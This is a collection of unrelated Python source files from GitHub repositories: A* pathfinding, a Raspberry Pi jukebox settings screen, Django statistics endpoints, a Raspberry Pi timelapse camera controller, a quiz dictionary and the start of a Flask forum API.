HeadListO=HeadListO.delListO(self.graph[iy][ix]); \n HeadListO=HeadListO.addListO(self.graph[iy][ix])\n self.graph[iy][ix].Parent=NodeCurrent\n HeadListO=HeadListO.delListO(NodeCurrent); \n NodeCurrent=HeadListO\n if NodeCurrent == None:\n break\n return NodeCurrent\n \n def clean(self):\n for iy in range(self.nb_y):\n for ix in range(self.nb_x):\n self.graph[iy][ix].clean()\n def dellObstacle(self):\n for iy in range(self.nb_y):\n for ix in range(self.nb_x):\n self.graph[iy][ix].setDistanceObstacle(self.DistanceObstacleMax)\n def addObstacle(self,x_obs,y_obs):\n ix_obs = int (x_obs/self.delta_x)\n iy_obs = int (y_obs/self.delta_y)\n for j in range(-self.iObsMax_y,self.iObsMax_y):\n for i in range(-self.iObsMax_x,self.iObsMax_x):\n iy=iy_obs+j\n ix=ix_obs+i\n if (0<=ix<self.nb_x) & (0<=iy<self.nb_y):\n self.graph[iy][ix].addObstacle(x_obs,y_obs)\n def setObstacle(self,ObsMap):\n for iy in range(self.nb_y):\n for ix in range(self.nb_x):\n self.graph[iy][ix].setObstacle(ObsMap[ix,iy])\n \n def getTable(self):\n #X=[]\n #Y=[]\n \n Obs=np.zeros((self.nb_x,self.nb_y))\n \n for iy in range(self.nb_y):\n for ix in range(self.nb_x):\n # X.insert(0,self.graph[iy][ix].x)\n # Y.insert(0,self.graph[iy][ix].y)\n Obs[ix][iy]=self.graph[iy][ix].DistanceObstacle\n return Obs\n\n\n\n\n# def obs_from_ihm(self, mapTblNode):\n# # Ajout de de la carte comme obstacles a la Map astar\n# ObsMap=np.zeros((self.nbX,self.nbY))+600.\n# for ix_obs, obsList in enumerate(mapTblNode):\n# for iy_obs, obs in enumerate(obsList):\n# if obs > 0:\n# for j in range(-self.iObsMax_y,self.iObsMax_y):\n# for i in range(-self.iObsMax_x,self.iObsMax_x):\n# iy=iy_obs+j\n# ix=ix_obs+i\n# if (0<=ix<self.nbX) & (0<=iy<self.nbY):\n# NewDist = sqrt((ix-ix_obs)**2*self.delta_x**2+(iy-iy_obs)**2*self.delta_y**2)\n# if NewDist < ObsMap[ix,iy]:\n# ObsMap[ix,iy] = NewDist \n \nclass AStar(object):\n def __init__(self, graph):\n self.graph = graph\n def heuristic(self, node, start, end):\n raise NotImplementedError\n def search(self, start, end):\n openset = set()\n closedset = set()\n current = start\n openset.add(current)\n while openset:\n current = min(openset, key=lambda o:o.g + o.h)\n if current == end:\n path = []\n while current.parent:\n path.append(current)\n current = current.parent\n path.append(current)\n return path[::-1]\n openset.remove(current)\n closedset.add(current)\n for node in self.graph[current]:\n if node in closedset:\n continue\n if node in openset:\n new_g = current.g + current.move_cost(node)\n if node.g > new_g:\n node.g = new_g\n node.parent = current\n else:\n node.g = current.g + current.move_cost(node)\n node.h = self.heuristic(node, start, end)\n node.parent = current\n openset.add(node)\n return None\n \n# class AStarNode(object):\n # def __init__(self):\n # self.g = 0\n # self.h = 0\n # self.parent = None\n # def move_cost(self, other):\n # raise NotImplementedError\n \n# class AStarGrid(AStar):\n # def heuristic(self, node, start, end):\n # return sqrt((end.x - node.x)**2 + (end.y - node.y)**2)\n \n# class AStarGridNode(AStarNode):\n # def __init__(self, x, y):\n # self.x, self.y = x, y\n # super(AStarGridNode, self).__init__()\n\n # def move_cost(self, other):\n # diagonal = abs(self.x - other.x) == 1 and abs(self.y - other.y) == 1\n # return 14 if diagonal else 10","repo_name":"marc0bill/RobotMT","sub_path":"python/astar/astar.py","file_name":"astar.py","file_ext":"py","file_size_in_byte":11223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"12112909045","text":"# This file is part of pi-jukebox.\n#\n# pi-jukebox is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# pi-jukebox is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with pi-jukebox. If not, see < http://www.gnu.org/licenses/ >.\n#\n# (C) 2015- by Mark Zwart, <mark.zwart@pobox.com>\n\"\"\"\n=======================================\n**screen_settings.py**: Settings screen\n=======================================\n\"\"\"\n__author__ = 'Mark Zwart'\n\nimport sys, pygame\nfrom pygame.locals import *\nimport time\nimport subprocess\nimport os\nimport glob\nimport socket\nfrom gui_widgets import *\nfrom mpd_client import *\nfrom settings import *\nfrom screen_wifi import *\nfrom config_file import *\nfrom screen_keyboard import *\n\n\nclass ScreenSettings(ScreenModal):\n \"\"\" Screen for settings or quitting/shutting down\n\n :param screen_rect: The display's rectangle where the screen is drawn on.\n \"\"\"\n\n def __init__(self, screen):\n ScreenModal.__init__(self, screen, \"Settings\")\n button_left = self.window_x + 10\n button_width = self.window_width - 2 * button_left\n label = \"Quit Pi-Jukebox\"\n self.add_component(ButtonText('btn_quit', self.surface, button_left, 30, button_width, 32, label))\n label = \"Playback options\"\n self.add_component(ButtonText('btn_playback', self.surface, button_left, 72, button_width, 32, label))\n label = \"MPD related settings\"\n self.add_component(ButtonText('btn_mpd', self.surface, button_left, 114, button_width, 32, label))\n label = \"System info\"\n self.add_component(ButtonText('btn_system_info', self.surface, button_left, 156, button_width, 32, label))\n label = \"Back\"\n self.add_component(ButtonText('btn_return', self.surface, button_left, 198, button_width, 32, label))\n\n def on_click(self, x, y):\n tag_name = super(ScreenSettings, self).on_click(x, y)\n if tag_name == 'btn_playback':\n screen_playback_options = ScreenSettingsPlayback(self)\n screen_playback_options.show()\n self.show()\n elif tag_name == 'btn_quit':\n screen_quit = ScreenSettingsQuit(self)\n screen_quit.show()\n self.show()\n elif tag_name == 'btn_mpd':\n screen_mpd = ScreenSettingsMPD(self)\n screen_mpd.show()\n self.show()\n elif tag_name == 'btn_system_info':\n screen_system_info = ScreenSystemInfo(self)\n screen_system_info.show()\n self.show()\n elif tag_name == 'btn_return':\n self.close()\n\n\nclass ScreenSettingsQuit(ScreenModal):\n \"\"\" Screen for quitting pi-jukebox.\n\n :param screen_rect: The display's rectangle where the screen is drawn on.\n \"\"\"\n\n def __init__(self, screen):\n ScreenModal.__init__(self, screen, \"Quit\")\n self.window_x = 70\n self.window_y = 25\n self.window_width -= 2 * self.window_x\n self.window_height -= 2 * self.window_y\n button_left = self.window_x + 10\n button_width = self.window_width - 20\n self.outline_shown = True\n self.add_component(\n ButtonText('btn_quit', self.surface, button_left, self.window_y + 30, button_width, 32, \"Quit\"))\n self.add_component(\n ButtonText('btn_shutdown', self.surface, button_left, self.window_y + 70, button_width, 32, \"Shutdown Pi\"))\n self.add_component(\n ButtonText('btn_reboot', self.surface, button_left, self.window_y + 110, button_width, 32, \"Reboot Pi\"))\n self.add_component(\n ButtonText('btn_cancel', self.surface, button_left, self.window_y + 150, button_width, 32, \"Cancel\"))\n\n def on_click(self, x, y):\n tag_name = super(ScreenModal, self).on_click(x, y)\n if tag_name == 'btn_quit':\n mpd.disconnect()\n print (\"Thanks for using pi-jukebox!\\nBye!\")\n sys.exit()\n elif tag_name == 'btn_shutdown':\n if RUN_ON_RASPBERRY_PI:\n pygame.display.quit()\n os.system(\"sudo shutdown -h now\")\n else:\n sys.exit()\n elif tag_name == 'btn_reboot':\n if RUN_ON_RASPBERRY_PI:\n pygame.display.quit()\n os.system(\"sudo shutdown -r now\")\n else:\n sys.exit()\n elif tag_name == 'btn_cancel':\n self.close()\n\n\nclass ScreenSettingsPlayback(ScreenModal):\n \"\"\" Screen for settings playback options\n\n :param screen_rect: The display's rectangle where the screen is drawn on.\n \"\"\"\n\n def __init__(self, screen):\n ScreenModal.__init__(self, screen, \"Playback settings\")\n self.add_component(LabelText('lbl_shuffle', self.surface, 10, 30, 40, 20, \"Shuffle\"))\n self.add_component(Switch('switch_shuffle', self.surface, 60, 23))\n self.add_component(LabelText('lbl_repeat', self.surface, 120, 30, 40, 20, \"Repeat\"))\n self.add_component(Switch('switch_repeat', self.surface, 170, 23))\n self.add_component(LabelText('lbl_single', self.surface, 230, 30, 40, 20, \"Single\"))\n self.add_component(Switch('switch_single', self.surface, 280, 23))\n self.add_component(LabelText('lbl_consume', self.surface, 10, 65, 110, 20, \"Consume playlist\"))\n self.add_component(Switch('switch_consume', self.surface, 125, 58))\n self.add_component(\n ButtonText('btn_rescan', self.surface, 10, 108, self.window_width - 20, 32, \"Re-scan library\"))\n self.add_component(\n ButtonText('btn_update', self.surface, 10, 150, self.window_width - 20, 32, \"Update library\"))\n self.add_component(ButtonText('btn_return', self.surface, 10, 192, self.window_width - 20, 32, \"Back\"))\n self.__initialize()\n\n def __initialize(self):\n \"\"\" Sets the screen controls according to current mpd configuration.\n \"\"\"\n for key, value in self.components.items():\n if key == 'switch_shuffle':\n value.set_on(mpd.random)\n elif key == 'switch_repeat':\n value.set_on(mpd.repeat)\n elif key == 'switch_single':\n value.set_on(mpd.single)\n elif key == 'switch_consume':\n value.set_on(mpd.consume)\n\n def on_click(self, x, y):\n tag_name = super(ScreenModal, self).on_click(x, y)\n if tag_name == 'switch_shuffle':\n mpd.random_switch()\n elif tag_name == 'switch_repeat':\n mpd.repeat_switch()\n elif tag_name == 'switch_single':\n mpd.single_switch()\n elif tag_name == 'switch_consume':\n mpd.consume_switch()\n elif tag_name == 'btn_rescan':\n mpd.library_rescan()\n elif tag_name == 'btn_update':\n mpd.library_update()\n elif tag_name == 'btn_return':\n self.close()\n\n\nclass ScreenSettingsMPD(ScreenModal):\n \"\"\" Screen for settings playback options\n\n :param screen_rect: The display's rectangle where the screen is drawn on.\n \"\"\"\n def __init__(self, screen_rect):\n self.host_new = config_file.setting_get('MPD Settings', 'host')\n self.port_new = config_file.setting_get('MPD Settings', 'port')\n self.dir_new = config_file.setting_get('MPD Settings', 'music directory')\n\n ScreenModal.__init__(self, screen_rect, \"MPD settings\")\n button_left = self.window_x + 10\n button_width = self.window_width - 2 * button_left\n label = \"Change host: \" + self.host_new\n self.add_component(ButtonText('btn_host', self.surface, button_left, 30, button_width, 32, label))\n label = \"Change port: \" + str(self.port_new)\n self.add_component(ButtonText('btn_port', self.surface, button_left, 72, button_width, 32, label))\n self.add_component(\n ButtonText('btn_music_dir', self.surface, button_left, 114, button_width, 32, \"Change music directory\"))\n label = \"Cancel\"\n self.add_component(ButtonText('btn_cancel', self.surface, button_left, 198, button_width / 2 - 5, 32, label))\n label = \"Check and save\"\n self.add_component(\n ButtonText('btn_save', self.surface, button_width / 2 + 15, 198, button_width / 2 - 5, 32, label))\n\n def on_click(self, x, y):\n tag_name = super(ScreenModal, self).on_click(x, y)\n setting_label = \"\"\n setting_value = None\n if tag_name == 'btn_save':\n if self.save_settings():\n self.close()\n return\n elif tag_name == 'btn_cancel':\n self.close()\n return\n elif tag_name == 'btn_host':\n setting_label = \"Set mpd host\"\n self.host_new = self.keyboard_setting(setting_label, self.host_new)\n self.per_setting_check('host')\n elif tag_name == 'btn_port':\n setting_label = \"Set mpd server port\"\n self.port_new = self.keyboard_setting(setting_label, self.port_new)\n self.per_setting_check('port')\n elif tag_name == 'btn_music_dir':\n setting_label = \"Set music directory\"\n self.dir_new = self.keyboard_setting(setting_label, 'MPD Settings', 'music directory')\n self.per_setting_check('music directory')\n self.update()\n self.show()\n\n def keyboard_setting(self, caption, value=\"\"):\n keyboard = Keyboard(self, caption)\n keyboard.text = value\n keyboard.title_color = FIFTIES_ORANGE\n new_value = keyboard.show() # Get entered search text\n return new_value\n\n def update(self):\n label = \"Change host: \" + self.host_new\n self.components['btn_host'].draw(label)\n label = \"Change port: \" + str(self.port_new)\n self.components['btn_port'].draw(label)\n\n def per_setting_check(self, setting_type):\n if setting_type == 'host' or setting_type == 'port':\n mpd.disconnect()\n host_old = mpd.host\n port_old = mpd.port\n mpd.host = self.host_new\n mpd.port = self.port_new\n if not mpd.connect():\n error_text = \"Couldn't connect to the mpd server \" + mpd.host + \" on port \" + str(mpd.port) + \"!\" \\\n \"Is the MPD server running? Try the command 'sudo service mpd start' on the CLI.\"\n msg_show = ScreenMessage(self.surface, \"Wrong host or port!\", error_text, 'warning')\n msg_show.show()\n mpd.host = host_old\n mpd.port = port_old\n mpd.connect()\n return False\n else:\n mpd.host = host_old\n mpd.port = port_old\n return True\n if setting_type == 'music directory':\n if not os.path.isdir(self.dir_new):\n error_text = \"The music directory you specified \" + self.dir_new + \" does not exist!\"\n msg_show = ScreenMessage(self.surface, \"Invalid directory\", error_text, 'error')\n msg_show.show()\n return False\n else:\n return True\n\n def save_settings(self):\n if self.per_setting_check('host') and self.per_setting_check('music directory'):\n config_file.setting_set('MPD Settings', 'host', self.host_new)\n config_file.setting_set('MPD Settings', 'port', self.port_new)\n config_file.setting_set('MPD Settings', 'music directory', self.dir_new)\n mpd.host = self.host_new\n mpd.port = self.port_new\n mpd.music_directory = self.dir_new\n\nclass ScreenSystemInfo(ScreenModal):\n \"\"\" Screen for settings playback options\n\n :param screen_rect: The display's rectangle where the screen is drawn on.\n \"\"\"\n\n def __init__(self, screen_rect):\n ScreenModal.__init__(self, screen_rect, \"System info\")\n button_left = self.window_x + 10\n button_width = self.window_width - 2 * button_left\n label = \"Back\"\n self.add_component(ButtonText('btn_back', self.surface, button_left, 198, button_width, 32, label))\n info = mpd.mpd_client.stats()\n self.add_component(LabelText('lbl_database', self.surface, button_left, 30, 100, 18, \"Music database\"))\n self.components['lbl_database'].font_color = FIFTIES_TEAL\n artist_count = \"Artists: \" + \"{:,}\".format(int(info['artists']))\n self.add_component(LabelText('lbl_artist_count', self.surface, button_left, 48, 100, 18, artist_count))\n album_count = \"Albums: \" + \"{:,}\".format(int(info['albums']))\n self.add_component(LabelText('lbl_album_count', self.surface, button_left + 100, 48, 100, 18, album_count))\n song_count = \"Songs: \" + \"{:,}\".format(int(info['songs']))\n self.add_component(LabelText('lbl_song_count', self.surface, button_left + 210, 48, 100, 18, song_count))\n play_time = \"Total time: \" + self.make_time_string(int(info['db_playtime']))\n self.add_component(LabelText('lbl_play_time', self.surface, button_left, 66, 300, 18, play_time))\n\n self.add_component(LabelText('lbl_system', self.surface, button_left, 90, 100, 18, \"Server\"))\n self.components['lbl_system'].font_color = FIFTIES_TEAL\n self.add_component(\n LabelText('lbl_host_name', self.surface, button_left, 108, 1500, 18, \"Host name: \" + socket.gethostname()))\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n s.connect(('google.com', 0))\n ip_address = s.getsockname()[0]\n self.add_component(\n LabelText('lbl_ip_address', self.surface, button_left, 126, 1500, 18, \"IP address: \" + ip_address))\n except Exception:\n pass\n\n def on_click(self, x, y):\n tag_name = super(ScreenModal, self).on_click(x, y)\n if tag_name == 'btn_back':\n self.close()\n return\n\n def make_time_string(self, seconds):\n days = int(seconds / 86400)\n hours = int((seconds - (days * 86400)) / 3600)\n minutes = int((seconds - (days * 86400) - (hours * 3600)) / 60)\n seconds_left = int(round(seconds - (days * 86400) - (hours * 3600) - (minutes * 60), 0))\n time_string = \"\"\n if days > 0:\n time_string += str(days) + \" days \"\n if hours > 0:\n time_string += str(hours) + \" hrs \"\n if minutes > 0:\n time_string += str(minutes) + \" mins \"\n if seconds_left > 0:\n time_string += str(seconds_left) + \" secs \"\n\n return time_string\n","repo_name":"mark-me/Pi-Jukebox","sub_path":"screen_settings.py","file_name":"screen_settings.py","file_ext":"py","file_size_in_byte":15042,"program_lang":"python","lang":"en","doc_type":"code","stars":71,"dataset":"github-code","pt":"18"} +{"seq_id":"13656866824","text":"#coding:utf-8\nfrom django.core.cache import cache\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.http import HttpResponse\nfrom webapp.scenic.models import * \nfrom webapp.manuf.manuf import *\nimport requests\nfrom django.core.serializers.json import DjangoJSONEncoder\nimport datetime\nfrom django.db.models import Q\n\n\ndef render_api(data):\n response = HttpResponse(json.dumps(data, cls=DjangoJSONEncoder, indent=4), content_type='text/plain')\n response['Access-Control-Allow-Origin'] = '*'\n response['Contet-Type'] = 'text/plain'\n return response\n\n\n@csrf_exempt\ndef get_phone(request):\n uid = json.loads(request.body)['pk']\n obj = Scenic.objects.filter(pk=uid).first()\n objs = None\n date = json.loads(request.body)['date']['date'][0]\n if date == 'today':\n date = datetime.date.today()\n objs = obj.census_set.filter(date__gt=date)\n elif date == 'yesterday':\n date = datetime.date.today()-datetime.timedelta(days=1)\n objs = obj.census_set.filter(date__gte=date)\n if not objs:\n data = {}\n data['msg'] = 'error2'\n return render_api(data)\n elif date == 'week':\n date = datetime.date.today()-datetime.timedelta(days=7)\n objs = obj.census_set.filter(date__gte=date)\n if not objs:\n data = {}\n data['msg'] = 'error2'\n return render_api(data)\n elif date == 'month':\n date = datetime.date.today()-datetime.timedelta(days=30)\n objs = obj.census_set.filter(date__gte=date)\n if not objs:\n data = {}\n data['msg'] = 'error2'\n return render_api(data)\n else:\n data = {}\n data['msg'] = 'error'\n return render_api(data)\n data = []\n temp = {}\n temp['vivo'] = 0\n temp['apple'] = 0\n temp['oppo'] = 0\n temp['huawei'] = 0\n temp['samsung'] = 0\n temp['other'] = 0\n for obj in objs:\n temp['vivo'] = temp['vivo']+obj.vivo\n temp['apple'] = temp['apple']+obj.apple\n temp['oppo'] = temp['oppo']+obj.oppo\n temp['huawei'] = temp['huawei']+obj.huawei\n temp['samsung'] = temp['samsung']+obj.samsung\n temp['other'] = temp['other']+obj.other\n data.append(temp)\n return render_api(data)\n\n@csrf_exempt\ndef get_visitor(request):\n uid = json.loads(request.body)['pk']\n date = json.loads(request.body)['date']['date'][0]\n obj = Scenic.objects.filter(pk=uid).first()\n objs = None\n if date == 'week':\n objs = obj.census_set.filter(date__gte=datetime.date.today()-datetime.timedelta(days=7)).order_by('date')\n elif date == 'month':\n objs = obj.census_set.filter(date__gte=datetime.date.today()-datetime.timedelta(days=30)).order_by('date')\n temp = []\n for objs in objs:\n data = {}\n num = objs.vivo+objs.apple+objs.huawei+objs.samsung+objs.other\n date = objs.date.strftime('%m-%d')\n data['num'] = num\n data['date'] = date\n temp.append(data)\n time = []\n for aa in temp:\n time.append(aa['date'])\n time = list(set(time))\n qwe = []\n for cc in time:\n asd = {}\n num = 0\n for bb in temp:\n if bb['date'] == cc:\n num = num+bb['num']\n asd['date'] = cc\n asd['num'] = num\n qwe.append(asd)\n qwe.sort(key=lambda x:x[\"date\"])\n return render_api(qwe)\n\n@csrf_exempt\ndef get_area(request):\n uid = json.loads(request.body)['pk']\n obj = Scenic.objects.filter(pk=uid).first()\n objs = obj.area_set.filter(zhu=0)\n data = []\n for o in objs:\n temp = {}\n temp['name'] = o.name\n temp['num'] = o.num\n data.append(temp)\n return render_api(data) \n\n@csrf_exempt\ndef get_new(request):\n uid = json.loads(request.body)['pk']\n date = json.loads(request.body)['date']['date'][0]\n obj = Scenic.objects.filter(pk=uid).first()\n objs = None\n if date == 'today':\n \tobjs = obj.newo_set.filter(date=1).first()\n elif date == 'yesterday':\n \tobjs = obj.newo_set.filter(date=-1).first()\n elif date == 'week':\n \tobjs = obj.newo_set.filter(date=7).first()\n elif date == 'month':\n \tobjs = obj.newo_set.filter(date=30).first()\n data = {}\n data['new'] = objs.xin\n data['old'] = objs.lao\n return render_api(data)\n\n@csrf_exempt\ndef get_sex(request):\n uid = json.loads(request.body)['pk']\n obj = Scenic.objects.filter(pk=uid).first()\n objs = obj.userinfo_set.all()\n data = {}\n man = []\n woman = []\n unknow = []\n for p in objs:\n if p.sex == 1:\n man.append(p)\n elif p.sex == 2:\n woman.append(p)\n data['man'] = len(man)\n data['woman'] = len(woman)\n return render_api(data)\n\n@csrf_exempt\ndef get_num(request):\n uid = json.loads(request.body)['pk']\n obj = Scenic.objects.filter(pk=uid).first()\n objs = obj.area_set.filter(zhu=False)\n num = 0\n for objs in objs:\n num = num+objs.num\n numall = len(list(set(cache.get('usertoday'+str(uid)))))\n data = {}\n data['num_now'] = num\n data['num_all'] = numall\n return render_api(data)","repo_name":"chen223-hz/hiyou","sub_path":"webapp/webapp/api/daping.py","file_name":"daping.py","file_ext":"py","file_size_in_byte":5109,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"71283495719","text":"from LCD import *\nimport RPi.GPIO as GPIO\nimport time as t\nimport subprocess as sub\n\nversion = \"0.3A\"\nlcd = LCD()\nh = GPIO.HIGH\nl = GPIO.LOW\ndelay = 0.4\nencoderA = 16\nencoderB = 21\nencoderButton = 20\nencoderVal = 0\nlastencoded = 0\nstage = 1\nsetup = True\n\nmotorL = 19\nmotorR = 26\n\nFPH = 0\nH = 0\ntotalFrames = 0\ncurrentFrame = 0\n\n#Setup\nGPIO.setwarnings(False)\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(encoderA,GPIO.IN, pull_up_down=GPIO.PUD_UP)\nGPIO.setup(encoderB,GPIO.IN, pull_up_down=GPIO.PUD_UP)\nGPIO.setup(encoderButton,GPIO.IN, pull_up_down=GPIO.PUD_UP)\nGPIO.setup(motorL,GPIO.OUT)\nGPIO.setup(motorR,GPIO.OUT)\nGPIO.output(motorL,l)\nGPIO.output(motorR,l)\n\n\ndef wipe():\n\tlcd.clear()\n\tlcd.home()\n\ndef getCurrentTime():\n\treturn t.time()\n\t\ndef init():\n\tlcd.message(\"Timelaspe\\nCommand V{}\".format(version))\n\tt.sleep(3)\n\twipe()\n\tdraw()\n\ndef moveLeft(d):\n\tglobal motorL\n\tGPIO.output(motorL,GPIO.HIGH)\n\tt.sleep(d)\n\tGPIO.output(motorL,GPIO.LOW)\n\ndef revolveMotorLeft(r):\n\tdelta = r * 30\n\tmoveLeft(delta)\n\ndef moveRight(d):\n\tglobal morotR\n\tGPIO.output(motorR,GPIO.HIGH)\n\tt.sleep(d)\n\tGPIO.output(motorR,GPIO.LOW)\n\ndef revolveMotorRight(r):\n\tdelta = r * 30\n\tmoveRight(delta)\n\ndef updateEncoder(c):\n\tglobal encoderA, encoderB, lastencoded, encoderVal\n\trota = 0\n\trotb = 0\n\tif(GPIO.input(encoderA)):\n\t\trota = 1\n\n\tif(GPIO.input(encoderB)):\n\t\trotb = 1\n\n\tdec = 2\t\n\trotc = rota ^ rotb\n\tencoded = rota * 4 + rotb * 2 + rotc * 1\n\tdelta = (encoded - lastencoded)\n\tif(delta == 1):\n\t\tencoderVal = encoderVal + dec\n\telif(delta == 3):\n\t\tencoderVal = encoderVal - dec\n\n\tlastencoded = encoded\n\ndef button(c):\n\tglobal FPH,H,stage,encoderVal,setup, totalFrames\n\tif(stage == 1):\n\t\tFPH = encoderVal\n\t\tstage = stage + 1\n\t\tencoderVal = 0\n\telif(stage == 2):\n\t\tH = encoderVal\n\t\tstage = stage + 1\n\t\tencoderVal = 0\n\telif(stage == 3):\n\t\top = encoderVal % 2\n\t\tif(op == 0):\n\t\t\ttotalFrames = FPH * H\n\t\t\tprint(\"FPH: {}, H: {}, TF: {}\".format(FPH,H,totalFrames))\n\t\t\tsetup = False\n\t\t\tstage = 0\n\t\t\tencoderVal = 0\n\t\telse:\n\t\t\tstage = 1\n\t\t\tencoderVal = 0\n\ndef getStringPercent(f,t):\n\tres = \" [ ] \"\n\tp = ((f/t) * 12)\n\twhile p > 0:\n\t\tres[1+p] = \"=\"\n\treturn res\n\ndef compile():\n\tlcd.message(\"Comliling video\")\n\tsub.call(\"ls -v *.png > stills.txt\")\n\ttry:\n\t\tsub.call(\"mencoder -nosound -ovc lavc -lavcopts vcodec=mpeg4:aspect=16/9:vbitrate=8000000 -vf scale=1920:1080 -o timelapse.avi -mf type=jpeg:fps=24 mf://@stills.txt\")\n\texcept:\n\t\tlcd.message(\"Failed to \\ncompile video\")\n\t\treturn\n\tlcd.messgae(\"Video compiled:\\nSucessfully\")\n\n\ndef draw():\n\tglobal encoderVal,encoderA,encoderB, stage, FPH, H, setup,delay,currentFrame,totalFrames\n\tsub.call(\"rm Pic*.png\",shell=True)\n\tGPIO.add_event_detect(encoderA,GPIO.BOTH,callback=updateEncoder)\n\tGPIO.add_event_detect(encoderB,GPIO.BOTH,callback=updateEncoder)\n\tGPIO.add_event_detect(encoderButton,GPIO.FALLING,callback=button,bouncetime=300)\n\ttry:\n\t\twhile True:\n\t\t\twipe()\n\t\t\tif setup:\n\t\t\t\tif stage == 1:#FPH setup\n\t\t\t\t\tFPH = encoderVal\n\t\t\t\t\tlcd.message(\"FPH: {}\".format(FPH))\n\t\t\t\n\t\t\t\telif stage == 2:#Hours setup\n\t\t\t\t\tH = encoderVal\n\t\t\t\t\tlcd.message(\"Hours: {}\\nFPH: {}\".format(H,FPH))\n\t\t\t\telif stage == 3:#Confirmation\n\t\t\t\t\tsec = encoderVal % 2\n\t\t\t\t\tif sec == 0:\n\t\t\t\t\t\tlcd.message(\"Are you sure?\\n [Yes] No \")\n\t\t\t\t\telse:\n\t\t\t\t\t\tlcd.message(\"Are you sure?\\n Yes [No]\")\n\t\t\telse:\n\t\t\t\t## 24(Pi) = 75mm\n\t\t\t\t## 75mm = 7.5cm\n\t\t\t\t## 7.5cm = motorRight(60)\n\t\t\t\t## 1cm = motorRight(60/7.5)\n\t\t\t\t## (60/7.5)/ totalFrames \n\t\t\t\t## Time delay = 60/FPH\n\t\t\t\tframesLeft = \"Pics left: {}\".format(totalFrames - currentFrame)\n\t\t\t\tlcd.message(framesLeft)#+ \"\\n\"+getStringPercent(currentFrame,totalFrames))\n\t\t\t\tstart = t.time()\n\t\t\t\tcf = \"-o Pic{}.png\".format(currentFrame)\n\t\t\t\tsub.call(\"raspistill -hf \" + cf,shell=True)\n\t\t\t\td = (75/2) / totalFrames\n\t\t\t\trevolveMotorLeft(d)\n\t\t\t\tt.sleep((60 * 60)/FPH - ((t.time() - start)))\n\t\t\t\tcurrentFrame = currentFrame + 1\n\t\t\t\tif currentFrame > totalFrames:\n\t\t\t\t\tbreak\n\t\n\t\t\tt.sleep(delay)\n\t\tcompile()\n\tfinally:\n\t\tGPIO.cleanup()\n\n\ninit()\n","repo_name":"h2n0/EngWork","sub_path":"cam.py","file_name":"cam.py","file_ext":"py","file_size_in_byte":3953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"10544165511","text":"import numpy as np \n\n# radius of the circle\ncircle_r = 20\n# center of the circle (x, y)\nbox = np.random.random((4,2)) * 50\ncenter = (box[0] + box[3]) / 2\n# center = np.array([20,10])\n\n# random angle\nalpha = 2 * np.pi * np.random.random((20,1))\n# random radius\nr = circle_r * np.sqrt(np.random.random())\n# calculating coordinates\nx = r * np.cos(alpha) + center[0]\ny = r * np.sin(alpha) + center[1]\nx[0] = center[0]\ny[0] = center[1]\ns = np.hstack((x, y), dtype=np.int16).astype(np.int32).tolist()\nl = 1","repo_name":"paul-shuvo/human-intent","sub_path":"src/arm_pose/src/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14025684653","text":"import json\nquestions = {\n \"Транспорт\":{\n \"100\":{\"question\":\"plane\", \"answer\":\"самолет\", \"asked\":False},\n \"200\":{\"question\":\"train\", \"answer\":\"поезд\", \"asked\":False},\n \"300\":{\"question\":\"boarding\", \"answer\":\"посадка\", \"asked\":False}},\n \"Животные\":{\n \"100\":{\"question\":\"dog\", \"answer\":\"собака\", \"asked\":False},\n \"200\":{\"question\":\"shark\", \"answer\":\"акула\", \"asked\":False},\n \"300\":{\"question\":\"sparrow\", \"answer\":\"воробей\", \"asked\":False},\n \"400\":{\"question\":\"sparrow\", \"answer\":\"воробей\", \"asked\":False}},\n \"Фрукты\":{\n \"100\":{\"question\":\"aplle\", \"answer\":\"яблоко\", \"asked\":False},\n \"200\":{\"question\":\"berry\", \"answer\":\"ягода\", \"asked\":False},\n \"300\":{\"question\":\"vension\", \"answer\":\"оленина\", \"asked\":False},\n }\n }\nwith open('data.json', 'r') as file:\n data_json = f.read()\n\nquestions = json.loads(data_json)\nprint(profile)\n","repo_name":"aleksst85/les7","sub_path":"quest_lst.py","file_name":"quest_lst.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"18853645539","text":"import sqlite3\nfrom datetime import datetime\nimport flask\nfrom flask import jsonify, request, session, url_for, redirect, make_response, \\\n render_template, abort, g, flash, _app_ctx_stack\nfrom flask import Response\nfrom flask_restful import reqparse\nfrom werkzeug.security import check_password_hash, generate_password_hash\nfrom flask_basicauth import BasicAuth\n\n\napp = flask.Flask('discussion_forum')\napp.config.from_object(__name__)\napp.config.from_envvar('DISCUSSIONFORUMAPI_SETTINGS', silent=True)\napp.config[\"DEBUG\"] = True\n\nDATABASE = '/tmp/DiscussionForum.db'\nPER_PAGE = 30\nSECRET_KEY = b'_3myapplication'\n\n\nclass DiscussionForumBasicAuth(BasicAuth):\n def __init__(self, app=None):\n if app is not None:\n self.app = app\n self.init_app(app)\n else:\n self.app = None\n\n def check_credentials(self, username, password):\n if username != None and password != None:\n user = fetch_user(username)\n if user != None:\n if user[1] == username and check_password_hash(user[2], password):\n return 'true'\n else:\n return None\n else:\n return None\n else:\n return None\n\nbasic_auth = DiscussionForumBasicAuth(app)\n\ndef fetch_user(username):\n user = query_db('SELECT * FROM user WHERE username = ?',[username], one=True)\n return user\n\n\n# create database connection\ndef get_db():\n db = getattr(g, '_database', None)\n if db is None:\n db = g._database = sqlite3.connect(DATABASE)\n return db\n\n\n# close connection when not in use\n@app.teardown_appcontext\ndef close_connection(exception):\n db = getattr(g, '_database', None)\n if db is not None:\n 